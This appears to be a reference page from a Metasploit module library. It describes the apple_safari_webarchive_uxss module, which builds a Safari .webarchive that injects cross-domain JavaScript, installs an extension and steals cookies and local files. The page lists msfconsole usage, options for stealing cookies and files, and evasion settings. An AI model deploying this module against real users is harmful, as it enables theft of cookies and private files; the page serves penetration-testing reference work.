Mac OS X Safari .webarchive File Format UXSS - Metasploit
This page contains detailed information about how to use the auxiliary/gather/apple_safari_webarchive_uxss metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Mac OS X Safari .webarchive File Format UXSS
Module: auxiliary/gather/apple_safari_webarchive_uxss
Source code: modules/auxiliary/gather/apple_safari_webarchive_uxss.rb
Disclosure date: 2013-02-22
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): -
List of CVEs: -
Generates a .webarchive file for Mac OS X Safari that will attempt to inject cross-domain Javascript (UXSS), silently install a browser extension, collect user information, steal the cookie database, and steal arbitrary local files. When opened on the target machine the webarchive file must not have the quarantine attribute set, as this forces the webarchive to execute in a sandbox.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/gather/apple_safari_webarchive_uxss
msf auxiliary(apple_safari_webarchive_uxss) > exploit
Go back to menu.
Msfconsole Usage
Here is how the gather/apple_safari_webarchive_uxss auxiliary module looks in the msfconsole:
msf6 > use auxiliary/gather/apple_safari_webarchive_uxss
msf6 auxiliary(gather/apple_safari_webarchive_uxss) > show info
Name: Mac OS X Safari .webarchive File Format UXSS
Module: auxiliary/gather/apple_safari_webarchive_uxss
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2013-02-22
Provided by:
joev <[email protected]>
Available actions:
Name Description
---- -----------
WebServer Serve exploit via web server
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DOWNLOAD_PATH /msf.webarchive yes The path to download the webarchive
EXTENSION_ID com.betafish.adblockforsafari-UAMUU4S2D9 no The ID of the Safari extension to install
EXTENSION_URL https://data.getadblock.com/safari/AdBlock.safariextz no HTTP URL of a Safari extension to install
FILENAME msf.webarchive yes The file name
FILE_URLS no Additional file:// URLs to steal. $USER will be resolved to the username.
GRABPATH grab no The URI to receive the UXSS'ed data
INSTALL_EXTENSION false yes Silently install a Safari extensions (requires click)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
STEAL_COOKIES true yes Enable cookie stealing
STEAL_FILES true yes Enable local file stealing
URIPATH no The URI to use for this exploit (default is random)
Description:
Generates a .webarchive file for Mac OS X Safari that will attempt
to inject cross-domain Javascript (UXSS), silently install a browser
extension, collect user information, steal the cookie database, and
steal arbitrary local files. When opened on the target machine the
webarchive file must not have the quarantine attribute set, as this
forces the webarchive to execute in a sandbox.
References:
https://blog.rapid7.com/2013/04/25/abusing-safaris-webarchive-file-format
Module Options
This is a complete list of options available in the gather/apple_safari_webarchive_uxss auxiliary module:
msf6 auxiliary(gather/apple_safari_webarchive_uxss) > show options
Module options (auxiliary/gather/apple_safari_webarchive_uxss):
Name Current Setting Required Description
---- --------------- -------- -----------
DOWNLOAD_PATH /msf.webarchive yes The path to download the webarchive
EXTENSION_ID com.betafish.adblockforsafari-UAMUU4S2D9 no The ID of the Safari extension to install
EXTENSION_URL https://data.getadblock.com/safari/AdBlock.safariextz no HTTP URL of a Safari extension to install
FILENAME msf.webarchive yes The file name
FILE_URLS no Additional file:// URLs to steal. $USER will be resolved to the username.
GRABPATH grab no The URI to receive the UXSS'ed data
INSTALL_EXTENSION false yes Silently install a Safari extensions (requires click)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
STEAL_COOKIES true yes Enable cookie stealing
STEAL_FILES true yes Enable local file stealing
URIPATH no The URI to use for this exploit (default is random)
Auxiliary action:
Name Description
---- -----------
WebServer Serve exploit via web server
Advanced Options
Here is a complete list of advanced options supported by the gather/apple_safari_webarchive_uxss auxiliary module:
msf6 auxiliary(gather/apple_safari_webarchive_uxss) > show advanced
Module advanced options (auxiliary/gather/apple_safari_webarchive_uxss):
Name Current Setting Required Description
---- --------------- -------- -----------
DisablePayloadHandler true no Disable the handler code for the selected payload
ListenerComm no The specific communication channel to use for this service
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the gather/apple_safari_webarchive_uxss module can do:
msf6 auxiliary(gather/apple_safari_webarchive_uxss) > show actions
Auxiliary actions:
Name Description
---- -----------
WebServer Serve exploit via web server
Evasion Options
Here is the full list of possible evasion options supported by the gather/apple_safari_webarchive_uxss auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(gather/apple_safari_webarchive_uxss) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTML::base64 none no Enable HTML obfuscation via an embeded base64 html object (IE not supported) (Accepted: none, plain, single_pad, double_pad, random_space_injection)
HTML::javascript::escape 0 no Enable HTML obfuscation via HTML escaping (number of iterations)
HTML::unicode none no Enable HTTP obfuscation via unicode (Accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Invalid JSON stored in <FILE>
Here is a relevant code snippet related to the "Invalid JSON stored in <FILE>" error message:
54: file = record_data(data, cli)
55: send_response_html(cli, '')
56: print_good "#{data_str.length} chars received and stored to #{file}"
57: rescue JSON::ParserError => e # json error, dismiss request & keep crit. server up
58: file = record_data(data_str, cli)
59: print_error "Invalid JSON stored in #{file}"
60: send_response_html(cli, '')
61: end
62: else
63: send_response(cli, webarchive_xml, {
64: 'Content-Type' => 'application/x-webarchive',
Go back to menu.
Related Pull Requests
- #14202 Merged Pull Request: Implement the zeitwerk autoloader within lib/msf/core
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #13443 Merged Pull Request: Add descriptions to auxiliary modules Actions
- #12949 Merged Pull Request: This fixes broken links to the community.rapid7.com blog
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #5844 Merged Pull Request: Update apple_safari_webarchive_uxss to use the webarchive mixin.
- #5059 Merged Pull Request: Yard doc corrections
- #4898 Merged Pull Request: Prefer URI to open-uri
- #4590 Merged Pull Request: Fix a corner case in apple_safari_webarchive_uxss
- #4373 Merged Pull Request: fix invalid URI scheme
- #2525 Merged Pull Request: Change module boilerplate
- #2472 Merged Pull Request: Clean up the way Apple Safari UXSS aux module does data collection.
- #2229 Merged Pull Request: Add fail_with() to all module types, move Failure constants to Msf::Module
- #1777 Merged Pull Request: Updates apple_safari_webarchive_uxss to serve the webarchive for download
- #1773 Merged Pull Request: Rewrite relative script URLs to be absolute.
References
See Also
Check also the following modules related to this module:
- auxiliary/gather/apple_safari_ftp_url_cookie_theft
- auxiliary/admin/vxworks/apple_airport_extreme_password
- auxiliary/dos/apple_ios/webkit_backdrop_filter_blur
- exploit/apple_ios/browser/safari_jit
- exploit/apple_ios/browser/safari_libtiff
- exploit/apple_ios/browser/webkit_createthis
- exploit/apple_ios/browser/webkit_trident
- exploit/apple_ios/email/mobilemail_libtiff
- exploit/apple_ios/ssh/cydia_default_ssh
- exploit/windows/browser/apple_itunes_playlist
- exploit/windows/browser/apple_quicktime_marshaled_punk
- exploit/windows/browser/apple_quicktime_mime_type
- exploit/windows/browser/apple_quicktime_rdrf
- exploit/windows/browser/apple_quicktime_rtsp
- exploit/windows/browser/apple_quicktime_smil_debug
- exploit/windows/browser/apple_quicktime_texml_font_table
- exploit/windows/fileformat/apple_quicktime_pnsize
- exploit/windows/fileformat/apple_quicktime_rdrf
- exploit/windows/fileformat/apple_quicktime_texml
- exploit/windows/misc/apple_quicktime_rtsp_response
- payload/apple_ios/aarch64/meterpreter_reverse_http
- payload/apple_ios/aarch64/meterpreter_reverse_https
- payload/apple_ios/aarch64/meterpreter_reverse_tcp
- payload/apple_ios/aarch64/shell_reverse_tcp
- payload/apple_ios/armle/meterpreter_reverse_http
- payload/apple_ios/armle/meterpreter_reverse_https
- payload/apple_ios/armle/meterpreter_reverse_tcp
- post/apple_ios/gather/ios_image_gather
- post/apple_ios/gather/ios_text_gather
- post/multi/gather/apple_ios_backup
- auxiliary/admin/appletv/appletv_display_image
- auxiliary/admin/appletv/appletv_display_video
- auxiliary/scanner/http/appletv_login
- auxiliary/gather/android_object_tag_webview_uxss
- auxiliary/gather/android_stock_browser_uxss
Authors
joev
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.